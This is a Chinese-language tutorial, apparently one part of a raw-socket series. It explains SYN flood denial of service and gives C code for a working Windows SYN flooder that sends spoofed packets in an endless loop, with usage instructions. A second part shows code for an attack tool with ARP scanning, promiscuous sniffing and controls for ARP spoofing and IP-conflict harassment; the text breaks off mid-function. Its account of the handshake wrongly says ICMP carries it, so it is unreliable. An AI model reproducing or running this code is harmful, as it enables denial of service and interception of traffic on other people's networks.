下載本文源代碼和例程 一、 什么是洪水攻擊 洪水之猛、勢不可擋。如果將洪水比作對計算機的攻擊,那大家可以想象得出,攻擊是多的猛烈。 在安全領域所指的洪水攻擊是指向目標機器發送大量無用的數據包,使得目標機器忙于處理這些無用的數據包,而無法處理正常的數據包。在攻擊過程中,目標機 器的CPU的使用率將高于正常值,有時甚至會達到100%。這樣將使目標機器的性能急劇下降。這有些象我們在日常生活中的電話,如果要使某個電話癱瘓,就 不停地撥這個電話的號碼,那么其它的電話就無法撥通這個電話,當然,要想不接到騷擾電話,唯一的方法是將電話線拔了。同樣,要想計算機完全避免洪水攻擊的 唯一方法,就是不讓這臺計算機上網,更直接的就是將網線拔了。 二、 洪水攻擊的原理 洪水攻擊也稱為拒絕服務攻擊。可以有很多種方式進行這種攻擊,本文主要討論比較常用的利用TCP三次握手的漏洞來耗盡計算機資源的方式來進行攻擊。 那么什么是TCP的三次握手呢?其實原理很簡單。這要從TCP的連接過程說起。我們一般使用Socket API來進行TCP連接。要做的只是將IP或計算機名以及端口號傳入connect函數,如果參數正確,目標機器的服務可用的話,這個TCP連接就會成 功。之所以連接這么方便,是因為Socket API已經將一些底層的操作隱藏了起來。那么這里面究竟發生了什么呢? 我們由網絡 7層可知,在TCP所在的傳輸層下面是網絡層,在這一層最有代表性的協議就是IP協議。而TCP數據包就是通過IP協議傳輸的。這就是我們為什么經常說 TCP/IP協議的緣故。TCP在底層的連接并不是這么簡單。在真正建立連接之前,必須先通過ICMP(Internet Control Message Protcol)協議對連接進行驗證。那么如何驗證呢? 假設有兩臺機器A和B。A使用TCP協議連接B,在建立連接 之前,A先發一個ICMP報文(就是一個數據包)給B,B在接收到這個數據包后,利用ICMP報文中的源地址(也就是A的IP)再給A發一個ICMP報 文,A在接到這個ICMP報文后,又給B發了一個ICMP報文,B如果成功接到這個報文后,就正式和A建立TCP連接。過程示意如圖1所示:
圖1 TCP連接的三次握手
問題就出在第二次握手上。如果是ICMP的報文的話,ICMP的源地址應該是A的IP,但如果是一個非法的ICMP報文的話,ICMP的源地址可能并不 是A的IP,也許就是一個并不存在的IP。如果是這樣,那在第二次握手時,B也就無法找到A了,這當然就不可能發生第三次握手。因為,B找不到A,而A又 遲遲得不到B的回信,這樣TCP就無法連接。但攻擊者的目的并不是要建立TCP連接,而是要耗盡B的資源。由于B找不到A,B也就無法得到A的回信,如果 這種情況發生,B并不會將在第一次握手中建立的資源馬上釋放,而會有一個超時,假設這個時間是10秒。如果A在這10秒內向B發送10000個這樣的連接 數據包,就意味著B要維護這10000個連接資源。如果過了10秒,B釋放了這些資源,A在下一個10稱還會發10000個連接包。如果A不斷地發這樣數 據包,就意味著B將永遠要維護這10000個連接,因此,B的CPU和內存將被耗盡,至少也得被占用大部分。所以B就無法響應其它機器的請求,或者是響應 遲緩。
三、 洪水攻擊的實現 在上一部分我們討論了洪水攻擊原理,在這一部分我將給出一個完成的實例說明如何使用C語言來設計洪水攻擊程序。 由于ICMP報文是用IP協議發送的,因此,我們需要自己定義IP數據包的數據結構,這樣我們就可以任意修改IP數據包的內容了。下面是IP協議的數據結構。
typedef struct _iphdr //定義IP首部 { unsigned char h_verlen; //4位首部長度,4位IP版本號 unsigned char tos; //8位服務類型TOS unsigned short total_len; //16位總長度(字節) unsigned short ident; //16位標識 unsigned short frag_and_flags; //3位標志位 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位協議 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 } IP_HEADER;
這個結構比較復雜,我們只看其中3個,其余的成員可以參考《TCP/IP詳解 卷1:協議》的相關部分。最后兩個成員sourceIP和destIP就是上述所說的A和B的IP。而最重要的就是checksum,這個參數是一個驗證 碼,用于驗證發送的IP數據包的正確性,我們把這個驗證碼稱為校驗和。計算它的函數如下:
USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }
看了上面的代碼也許會有很多疑問,下面我就簡單描述一下如何計算機IP數據包的校驗和。IP數據包的校驗和是根據IP首部計算機出來的,而并不對IP數 據包中的數據部分進行計算。為了計算一個數作為校驗和,首先把校驗和字段賦為0。然后,對首部中每個16位進行二進制白馬反碼求和(我們可以將整個IP首 部看成是由一組16位的字組成),將結果保存在校驗和字段中。當收到一份IP數據報后,同樣對首部中每個16位進行二進制反碼的求和。由于接收方在計算機 過程中包含了發送方存在首部的校驗和,因此,如果首部在傳輸過程中沒有發生任何差錯,那么接收方計算的結果應該全是1.如果結果不全是1(即校驗和錯 誤),那么IP就丟棄收到的數據報。但不生成差錯報文,由上層(如TCP協議)去發現丟失的數據報并進行重傳。 由于我們要發送假的TCP連接包,因此,為分別定義一個偽TCP首部和真正的TCP首部。
struct //定義TCP偽首部 { unsigned long saddr; //源地址
unsigned long daddr; //目的地址 char mbz; char ptcl; //協議類型 unsigned short tcpl; //TCP長度 } psd_header; typedef struct _tcphdr //定義TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列號 unsigned int th_ack; //32位確認號 unsigned char th_lenres;//4位首部長度/6位保留字 unsigned char th_flag;//6位標志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校驗和 USHORT th_urp; //16位緊急數據偏移量 } TCP_HEADER;
在以上的準備工作都完成后,就可以寫main函數中的內容了。下面是程序的定義部分。
#include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #define SEQ 0x28376839 #define SYN_DEST_IP "127.0.0.1"//被攻擊的默認IP #define FAKE_IP "10.168.150.1" //偽裝IP的起始值,可以是任意IP #define STATUS_FAILED 0xFFFF//錯誤返回值 int main(int argc, char **argv) { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0; char SendBuf[128]; // 每個數據包是128個字節 char DestIP[16]; // 要攻擊的機器IP,在這里就是B的IP memset(DestIP, 0, 4); // 如果通過參數輸入個IP,將DestIP賦為這IP,否則SYN_DEST_IP賦給DestIP if(argc < 2) strcpy(DestIP, SYN_DEST_IP); else strcpy(DestIP, argv[1]); // 以下是聲明Socket變量和相應的數據結構
WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; … … }
下一步就是初始化Raw Socket
//初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本 { fprintf(stderr,"WSAStartup failed: %d/n",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (SockRaw==INVALID_SOCKET) // 如果建立Socket錯誤,輸出錯誤信息 { fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError()); ExitProcess(STATUS_FAILED); }
第二步就是填充剛才定義的那些數據結構
//設置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!/n"); __try{ //設置發送超時 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { fprintf(stderr,"Failed to set send TimeOut: %d/n",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(DestIP); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本號,低四位首部長度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位總長度(字節) ip_header.ident=1; //16位標識 ip_header.frag_and_flags=0; //3位標志位 ip_header.ttl=128; //8位生存時間TTL ip_header.proto=IPPROTO_TCP;//8位協議(TCP,UDP…) ip_header.checksum=0;//16位IP首部校驗和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址 ip_header.destIP=inet_addr(DestIP); //32位目的IP地址 //填充TCP首部 tcp_header.th_sport=htons(7000);//源端口號 tcp_header.th_dport=htons(8080);//目的端口號 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列號 tcp_header.th_ack=0; //ACK序列號置為0 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP長度和保留位 tcp_header.th_flag=2; //SYN 標志 tcp_header.th_win=htons(16384); //窗口大小 tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校驗和 //填充TCP偽首部(用于計算校驗和,并不真正發送) psd_header.saddr=ip_header.sourceIP;//源地址 psd_header.daddr=ip_header.destIP;//目的地址 psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP;//協議類型 psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部長度
最后一步是通過一個while循環發送向目標機器發送報文
while(1) { //每發送10000個報文輸出一個標示符 printf("."); for(counter=0;counter<10000;counter++){ if(SendSEQ++==65536) SendSEQ=1;//序列號循環 //更改IP首部 ip_header.checksum=0;//16位IP首部校驗和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
//更改TCP首部 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列號 tcp_header.th_sum=0; //校驗和 //更改TCP Pseudo Header psd_header.saddr=ip_header.sourceIP; //計算TCP校驗和,計算校驗和時需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header)); //計算IP校驗和 memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); datasize=sizeof(ip_header)+sizeof(tcp_header); ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充發送緩沖區 memcpy(SendBuf,&ip_header,sizeof(ip_header)); //發送TCP報文 ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("/nSend Error:%d/n",GetLastError()); } }
到現在為止,我們已經完成了一個洪水攻擊的控制臺軟件。本程序使用VC6.0調試通過。感性趣的讀者可以下載本文提供的完整代碼。在Debug目錄中有 一個exe程序,synflooding.exe,可以通過參數將目標IP傳入exe。如synflooding 129.11.22.33,如果不帶參數,默認就是本機(127.0.0.1)。軟件的運行界面如圖2所示,攻擊后的CPU使用情況如圖3如示。
圖2 攻擊軟件運行界面
原始套接字透析之綜合實例:網絡黑手
為了給本系列文章一個具體的實例,筆者編寫了"網絡黑手"這樣一個免費軟件。它是一種融合了目前許多類似工具軟件功能的具有超強攻擊/偵聽能力的流氓軟件,并可能將成為又一個臭名昭著的破壞性工具,它的功能包括: 1. 檢測本地網絡適配器列表并選擇一個工作適配器; 2. 檢測局域網內指定IP范圍內所有節點的IP地址、MAC地址信息,并列表顯示; 3. 監聽局域網上某節點的所有收發信息; 4. 剪斷局域網上某機器與網關的聯絡,從而讓其不能上網; 5. 不停向局域網內某臺主機發送ARP報文,讓其不斷提示"IP沖突",煩惱不已。 如果你所在的局域網內有人使用此軟件攻擊你的計算機,你將變得痛苦不堪。所以,筆者不得不聲明的是編寫本軟件的目的不在于要荼毒生靈、貽害人間,而僅僅 是為了本系列教程教學和廣大讀者掌握黑客攻防技術的需要。任何個人或組織使用本軟件進行破壞行為,都應受到道德的譴責或可能的法律制裁。 盡管如此,為了防范于未然,筆者在研制"網絡黑手"這一毒藥的同時,也精心研制了其相應的解藥――"網絡黑手終結者",這一軟件也是免費的。在你的網絡內,如果有誰使用了"網絡黑手",你將可以用"網絡黑手終結者"直接終結之! 點擊此處下載網絡黑手; 網絡黑手程序的運行最好先安裝winpcap,請在此地址下載:http://www.winpcap.org/。 1、網絡黑手的實現 網絡黑手0.1版(限于時間的原因,在本教程中我們給出的僅僅是一個教學版本,所以版本號僅為0.1),其界面如下: 界面的左上角用于設置監控的目標范圍(IP地址,如192.168.1.1~192.168.1.254,只能輸入與本機處于同一子網的IP地址)、選 擇本地網卡(對于安裝了多塊網卡的用戶),按鈕"開始"用于啟動監控和其他操作,啟動成功后"開始"按鈕會變為"停止"。
界面的左下角列出活動的與本機處于同一子網機器的主機名、IP地址、MAC地址,在相應的主機上雙擊"Sniffer"和"ARP欺騙"項目可以啟動和停止對該主機的嗅探和ARP欺騙(會切斷該機的外網出口)。 與之對應的數據結構為:
typedef struct tagHostList { unsigned long ip; char mac[6]; bool sniffer; bool arpCheat; bool ipConflict; } HostList;
界面的右邊即為監控到報文的源IP地址、目的IP地址、協議、源端口號、目的端口號以及報文的長度,而表格的最后一行將對應顯示相關IP報文的數據。為 了簡化軟件的設計和減少程序對內存的占用,在Sniffer時,實際緩存的數據包MAX_PACKET最大為30,超過的會自動被覆蓋。 與之對應的數據結構為:
typedef struct tagPacketList { unsigned long srcIp; unsigned long desIp; unsigned char protocol; unsigned long srcPort; unsigned long desPort; unsigned long len; char data[256]; }PacketList;
我們需要在對話框的初始化函數中構造上述界面中的表格項目,相關源代碼如下:
BOOL CNetHackerDlg::OnInitDialog() { CDialog::OnInitDialog(); // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here int i=0; //… m_hostList.Create(CRect(12,115,435,466),this, 1000,WS_BORDER |WS_VISIBLE |WS_VSCROLL|WS_CHILD); m_hostList.SetScrollRange(1,0,351); m_hostList.EnableScrollBar(ESB_ENABLE_BOTH); m_hostList.SetCols (5); m_hostList.SetRows (256); for (i = 0; i < 256; i ++) { m_hostList.SetRowHeight (i, 13); for(int j =0;j<5;j++) { m_hostList.SetAlignment(i,j,DT_CENTER); } } m_hostList.SetColWidth (0, 100); m_hostList.SetColWidth (1, 130); m_hostList.SetColWidth (2, 50); m_hostList.SetColWidth (3, 55); m_hostList.SetColWidth (4, 70);
m_hostList.SetText (0,0,"IP地址"); m_hostList.SetText (0,1,"MAC地址"); m_hostList.SetText (0,2,"Sniffer"); m_hostList.SetText (0,3,"ARP欺騙"); m_hostList.SetText (0,4,"報告IP沖突"); m_packetList.Create(CRect(444,26,768,466),this, 1000); m_packetList.SetCols (6); m_packetList.SetRows (31); for (i = 0; i < 30; i ++) { m_packetList.SetRowHeight (i, 13); for(int j =0;j<6;j++) { m_packetList.SetAlignment(i,j,DT_CENTER); } } m_packetList.SetRowHeight (i, 47); m_packetList.SetColWidth (0, 75); m_packetList.SetColWidth (1, 75); m_packetList.SetColWidth (2, 32); m_packetList.SetColWidth (3, 45); m_packetList.SetColWidth (4, 55); m_packetList.SetColWidth (5, 40); m_packetList.SetText (0,0,"源IP"); m_packetList.SetText (0,1,"目的IP"); m_packetList.SetText (0,2,"協議"); m_packetList.SetText (0,3,"源端口"); m_packetList.SetText (0,4,"目的端口"); m_packetList.SetText (0,5,"長度"); m_packetList.JoinCells (30,0,30,5); mailDlg = this; return TRUE; // return TRUE unless you set the focus to a control }
右邊表格中最后的一行是多列合并的結果,完成此合并的代碼為:
int XTable::JoinCells (int startRow, int startCol, int endRow, int endCol) { if (startRow < 0 || startRow >= rows) return -1;
if (endRow < 0 || startRow >= rows) return -1; if (startCol < 0 || startCol >= cols) return -1; if (endCol < 0 || endCol >= cols) return -1; if (startRow > endRow || startCol > endCol) return -1; for (int i = startRow; i <= endRow; i++) { for (int j = startCol; j <=endCol; j++) { cells [i * cols + j].SetSpan(0,0); } } cells [startRow * cols + startCol].SetSpan(endRow -startRow+1, endCol - startCol+1); return 0; }
其"反函數"為:
int XTable::UnjoinCells (int row, int col) { if (row < 0 || row >= this->rows) return -1; if (col < 0 || col >= this->cols) return -1; if (cells [row * cols + col].rowSpan <= 1 && cells [row * cols + col].colSpan <= 1 ) return -1; for (int i = row; i <= row + cells [row * cols + col].rowSpan; i++) { for (int j = col; j <= cells [row * cols + col].colSpan; j++) { cells[i*cols+j] = defaultCell; cells [i * cols + j].SetSpan(1,1); } } return 0; }
程序中的IDC_ADAPTERLIST_COMBO控件用于提供用戶選擇本地適配器,獲得本地適配器列表的代碼如下(也處于對話框的初始化函數中):
char errbuf[PCAP_ERRBUF_SIZE]; /* 取得列表 */ if (pcap_findalldevs(&alldevs, errbuf) == - 1) { AfxMessageBox("獲得網卡列表失敗!/n"); GetDlgItem(IDC_STARTSTOP_BUTTON)->EnableWindow(FALSE); } /* 輸出列表 */ for (d = alldevs; d; d = d->next) { CString str(d->name); if (str.Find("//Device//NPF_Generic", 0) == - 1) m_adapterList.AddString(str); }
給監控IP地址范圍內的主機發送ARP請求包并獲取反饋,即可獲得監控范圍內活動機器的IP地址和MAC地址,以進行進一步地管理。 發送ARP請求的函數代碼:
void SendArpReq(unsigned long srcIp,unsigned long desIp,UCHAR * srcMac) { char sendbuf[1024]; ETHDR eth; ARPHDR arp; memcpy(eth.eh_src,mmac,6); eth.eh_type=htons(ETH_ARP); arp.arp_hdr=htons(ARP_HARDWARE); arp.arp_pro=htons(ETH_IP); arp.arp_hln=6; arp.arp_pln=4; arp.arp_opt=htons(ARP_REQUEST); arp.arp_spa=htonl(srcIp); arp.arp_tpa=htonl(desIp); memcpy(arp.arp_sha,srcMac,6); for(int i=0;i<6;i++) { eth.eh_dst[i]=0xff; arp.arp_tha[i]=0x00; }
memset(sendbuf,0,sizeof(sendbuf)); memcpy(sendbuf,&eth,sizeof(eth)); memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp)); PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) { AfxMessageBox("PacketSendPacket in SendArpReq Error"); } }
雙擊表格中控制Sniffer、ARP欺騙和IP地址重復的欄目,需要變換其中的顯示內容,要么從"ON"到"OFF",要么從"OFF"到"ON"(當然,主機數據結構中的控制屬性也要隨之而改變),相關的代碼為:
void XTable::OnLButtonDblClk(UINT nFlags, CPoint point) { HitTest(point, focusRow, focusCol); SetFocus(); CString str = GetText(focusRow, focusCol); if (str == "ON") { SetText(focusRow, focusCol, "OFF"); switch (focusCol) { case 2: oldHostList[focusRow - 1+nVWndPos / 13].sniffer = 0; break; case 3: oldHostList[focusRow - 1+nVWndPos / 13].arpCheat = 0; break; case 4: oldHostList[focusRow - 1+nVWndPos / 13].ipConflict = 0; break; default: break; } } else if (str == "OFF") { SetText(focusRow, focusCol, "ON"); switch (focusCol)
{ case 2: oldHostList[focusRow - 1+nVWndPos / 13].sniffer = 1; break; case 3: oldHostList[focusRow - 1+nVWndPos / 13].arpCheat = 1; break; case 4: oldHostList[focusRow - 1+nVWndPos / 13].ipConflict = 1; break; default: break; } } Invalidate(); CWnd::OnLButtonDblClk(nFlags, point); }
上述代碼中的HitTest()調用比較關鍵,用于獲得當前選中的行和列,我們來看看相關的代碼:
bool XTable::HitTest(CPoint point, int &row, int &col) { for (int i = 0; i < rows; i++) { for (int j = 0; j < rows; j++) { RECT rect = GetRect(i, j); if (rect.top <= point.y && rect.bottom > point.y && rect.left <= point.x && rect.right > point.x) { row = i; col = j; return true; } } } return false; }
在表格的某一格處于焦點時,我們應給其畫一個矩形邊框:
int XTable::Draw(CDC* pDC)
{ //… if (focusRow < rows && focusCol < cols) //** { RECT rect = GetRect (focusRow, focusCol); GetCells (focusRow, focusCol)->DrawHitBorder(pDC, rect, RGB(0xb0, 0xb0, 0xb0)); } return 0; } int XCell::DrawHitBorder (CDC* pDC, RECT rect, COLORREF color) { CPen pen (PS_SOLID, 2, color); CPen* oldPen = pDC->SelectObject(&pen); pDC->MoveTo (rect.left, rect.top); pDC->LineTo (rect.right, rect.top); pDC->LineTo (rect.right, rect.bottom); pDC->LineTo (rect.left, rect.bottom); pDC->LineTo (rect.left, rect.top); pDC->SelectObject(oldPen); return 0; }
獲得IP地址監控范圍內主機列表的方法如下:
m_fromip.GetAddress(fromip); m_toip.GetAddress(toip); rthread = CreateThread(NULL, 0, sniff, 0, 0, 0); Sleep(100); //保證sniff線程已經穩定運行 SendArpReq(1, myip, mmac); while (1) { if (!(!mmac[0] && !mmac[1] && !mmac[2] && !mmac[3])) break; Sleep(100); } for (unsigned long i = fromip; i < myip; i++) { SendArpReq(myip, i, mmac); }
for (i = myip + 1; i <= toip; i++) { SendArpReq(myip, i, mmac); } Sleep(1000); for (i = 0; i < currentHstIndex; i++) { HOSTENT *tmpHostent; tmpHostent = gethostbyaddr((char*)(&(hostList[i].ip)), 16, AF_INET); if (tmpHostent) m_hostList.SetText(i + 1, 0, tmpHostent->h_name); m_hostList.SetText(i + 1, 1, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)))) ; m_hostList.SetText(i + 1, 3, "OFF"); CString str; str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); m_hostList.SetText(i + 1, 2, str); m_hostList.SetText(i + 1, 4, "OFF"); m_hostList.SetText(i + 1, 5, "OFF"); } m_hostList.Invalidate();
上述代碼的思路是給fromip~min(myip-1,toip),myip+1~toip范圍內的主機發送ARP請求報文并監控其ARP回復,從而獲得其IP與MAC的對應關系。當然,它首先用了同樣的原理來獲取本機的MAC地址。
為了在表格的垂直滾動條滾動時正確的設置滾動條的位置和顯示正確的主機列表,我們應該給XTable添加垂直滾動條消息處理函數:
void XTable::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar *pScrollBar) { // TODO: Add your message handler code here and/or call default static UINT nVWndPos = 0; switch (nSBCode) { case SB_LINEDOWN: case SB_PAGEDOWN:
nPos = nVWndPos + 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; case SB_LINEUP: case SB_PAGEUP: nPos = nVWndPos - 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; case SB_THUMBTRACK: SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; } for (int i = nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) { CString str; SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)))); if (hostList[i].sniffer == 0) SetText(j + 1, 2, "OFF"); else SetText(j + 1, 2, "ON"); str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); SetText(i + 1, 1, str); if (hostList[i].arpCheat == 0) SetText(j + 1, 3, "OFF"); else SetText(j + 1, 3, "ON"); if (hostList[i].ipConflict == 0) SetText(j + 1, 4, "OFF"); else SetText(j + 1, 4, "ON"); } for (; j < MAX_HOST; j++)
{ for (int k = 0; k < 5; k++) SetText(j + 1, k, ""); } Invalidate(); CWnd::OnVScroll(nSBCode, nPos, pScrollBar); }
上述程序依賴于監控(sniffer)相關代碼,核心代碼如下:
DWORD WINAPI Sniff(void *p) { char recvbuf[1024 *250]; memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); if (PacketSetHwFilter(lpadapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { AfxMessageBox("Unable to set the adapter to promiscuous mode"); return - 1; } if (PacketSetBuff(lpadapter, 500 *1024) == FALSE) { AfxMessageBox("PacketSetBuff Error"); return - 1; } if (PacketSetReadTimeout(lpadapter, 0) == FALSE) { AfxMessageBox("Unable to set the timeout"); return - 1; } if ((lppacketr = PacketAllocatePacket()) == FALSE) { AfxMessageBox("PacketAllocatePacket receive Error"); return - 1; } PacketInitPacket(lppacketr, (char*)recvbuf, sizeof(recvbuf));
while (1) { if (PacketReceivePacket(lpadapter, lppacketr, TRUE) == FALSE) { return - 1; } GetData(lppacketr); } return 0; }
其中調用的函數GetData()用于解析由PacketReceivePacket()函數收到的報文,關于分析ARP_REPLY報文以便獲得局域網主機列表的代碼如下:
void GetData(LPPACKET lp) { ULONG ulbytesreceived, off; ETHDR *eth; ARPHDR *arp; PIPHDR ip; char *buf, *pChar, *base; struct bpf_hdr *hdr; ulbytesreceived = lp->ulBytesReceived; buf = (char*)lp->Buffer; off = 0; while (off < ulbytesreceived) { hdr = (struct bpf_hdr*)(buf + off); off += hdr->bh_hdrlen; pChar = (char*)(buf + off); base = pChar; off = Packet_WORDALIGN(off + hdr->bh_caplen); eth = (PETHDR)pChar; arp = (PARPHDR)(pChar + sizeof(ETHDR)); if (eth->eh_type == htons(ETH_IP)) { ip = (PIPHDR)(pChar + sizeof(ETHDR));
for (int i = 0; i < oldHstIndex; i++) { if ((oldHostList[i].ip == ip->sourceip || oldHostList[i].ip == ip ->destip) && oldHostList[i].sniffer == 1) { packetList[currentPktIndex].srcIp = ip->sourceip; packetList[currentPktIndex].desIp = ip->destip; packetList[currentPktIndex].protocol = ip->proto; switch (ip->proto) { case IPPROTO_TCP: TCP_HEADER *pTcpHeader; pTcpHeader = (TCP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4); packetList[currentPktIndex].srcPort = ntohs(pTcpHeader->th_sport); packetList[currentPktIndex].desPort = ntohs(pTcpHeader->th_dport); memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+20, 255); packetList[currentPktIndex].data[255] = 0; break; case IPPROTO_UDP: UDP_HEADER *pUdpHeader; pUdpHeader = (UDP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4); packetList[currentPktIndex].srcPort = ntohs(pUdpHeader->uh_sport); packetList[currentPktIndex].desPort = ntohs(pUdpHeader->uh_dport); memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+sizeof(UDP_HEADER), 256); packetList[currentPktIndex].data[255] = 0; break; default: packetList[currentPktIndex].data[0] = 0; break; } currentPktIndex++;
currentPktIndex %= MAX_PACKET; if (currentPktIndex == 0) mailDlg->PostMessage(RECV_PKT); break; } } continue; } else if (eth->eh_type == htons(ETH_ARP)) { if (arp->arp_tpa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) { int i; for (i = 0; i < currentHstIndex; i++) { if (hostList[i].ip == arp->arp_spa) { break; } } if (i >= currentHstIndex) { hostList[currentHstIndex].ip = arp->arp_spa; memcpy(hostList[currentHstIndex].mac, eth->eh_src, 6); currentHstIndex++; } } else if (arp->arp_spa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) memcpy(mmac, eth->eh_src, 6); for (int i = 0; i < oldHstIndex; i++) { if ((oldHostList[i].ip == arp->arp_spa || oldHostList[i].ip == arp ->arp_tpa) && oldHostList[i].sniffer == 1) { packetList[currentPktIndex].srcIp = arp->arp_spa; packetList[currentPktIndex].desIp = arp->arp_tpa; packetList[currentPktIndex].protocol = ARP; packetList[currentPktIndex].data[0] = 0; currentPktIndex++; currentPktIndex %= MAX_PACKET;
if (currentPktIndex == 0) mailDlg->PostMessage(RECV_PKT); break; } } } } }
我們需要動態追蹤局域網內節點的活動狀態,以定時器實現:
void CNetHackerDlg::OnTimer(UINT nIDEvent) { // TODO: Add your message handler code here and/or call default if (sthread == 0) { if (!mmac[0] && !mmac[1] && !mmac[2] && !mmac[3] && !mmac[4] && !mmac[5]) { SendArpReq(1, myip, mmac); return ; } sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); SetTimer(1, 7 *(toip - fromip), NULL); //啟動定時器 } if (WaitForSingleObject(sthread, 0) != WAIT_OBJECT_0) { return ; } //test using self host /* hostList[currentHstIndex].sniffer = 1; hostList[currentHstIndex].ipConflict = 0; hostList[currentHstIndex].arpCheat = 0; hostList[currentHstIndex].ip = htonl(myip); hostList[currentHstIndex].ipConflict = 1; hostList[currentHstIndex].arpCheat = 1; memcpy(hostList[currentHstIndex].mac,mmac,6); currentHstIndex++; */ int i, j; for (i = 0; i < currentHstIndex; i++) { for (j = 0; j < oldHstIndex; j++) {
